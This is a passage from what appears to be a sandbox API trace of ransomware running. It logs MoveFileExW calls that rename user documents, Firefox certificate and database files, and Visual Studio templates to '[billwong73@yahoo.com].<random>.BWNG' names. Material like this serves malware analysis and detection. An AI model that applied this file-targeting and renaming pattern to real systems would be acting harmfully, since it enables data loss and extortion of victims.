lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.877] GetTickCount () returned 0x1153afe [0033.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582920081) returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.878] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mh5S3pNH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mh5s3pnh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].W2mtgiAV-onke79kk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].w2mtgiav-onke79kk.bwng"), dwFlags=0x1) returned 1 [0033.878] GetTickCount () returned 0x1153afe [0033.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583052753) returned 1 [0033.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0033.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0033.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0033.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0033.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0033.879] GetTickCount () returned 0x1153afe [0033.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583087999) returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0033.879] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lBEj0Us9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lbej0us9.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].WUgwNl8B-blCJYfqQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].wugwnl8b-blcjyfqq.bwng"), dwFlags=0x1) returned 1 [0033.880] GetTickCount () returned 0x1153afe [0033.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583185348) returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0033.880] GetTickCount () returned 0x1153afe [0033.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583219445) returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].cb18Z26I-CxGr3OqA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].cb18z26i-cxgr3oqa.bwng"), dwFlags=0x1) returned 1 [0033.881] GetTickCount () returned 0x1153afe [0033.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583320348) returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0033.881] GetTickCount () returned 0x1153afe [0033.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583354209) returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0033.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0033.882] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\[billwong73@yahoo.com].HSn9PZ4b-hPSwQpAo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\[billwong73@yahoo.com].hsn9pz4b-hpswqpao.bwng"), dwFlags=0x1) returned 1 [0033.882] GetTickCount () returned 0x1153afe [0033.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583441068) returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0033.882] GetTickCount () returned 0x1153afe [0033.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583474504) returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].iqYcQ0qE-afPVWDrx.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].iqycq0qe-afpvwdrx.bwng"), dwFlags=0x1) returned 1 [0033.883] GetTickCount () returned 0x1153afe [0033.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583554001) returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0033.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.884] GetTickCount () returned 0x1153b0e [0033.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583590271) returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.884] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].flb4TkUl-4THGS27q.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].flb4tkul-4thgs27q.bwng"), dwFlags=0x1) returned 1 [0033.884] GetTickCount () returned 0x1153b0e [0033.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583670049) returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0033.885] MultiByteToWideChar 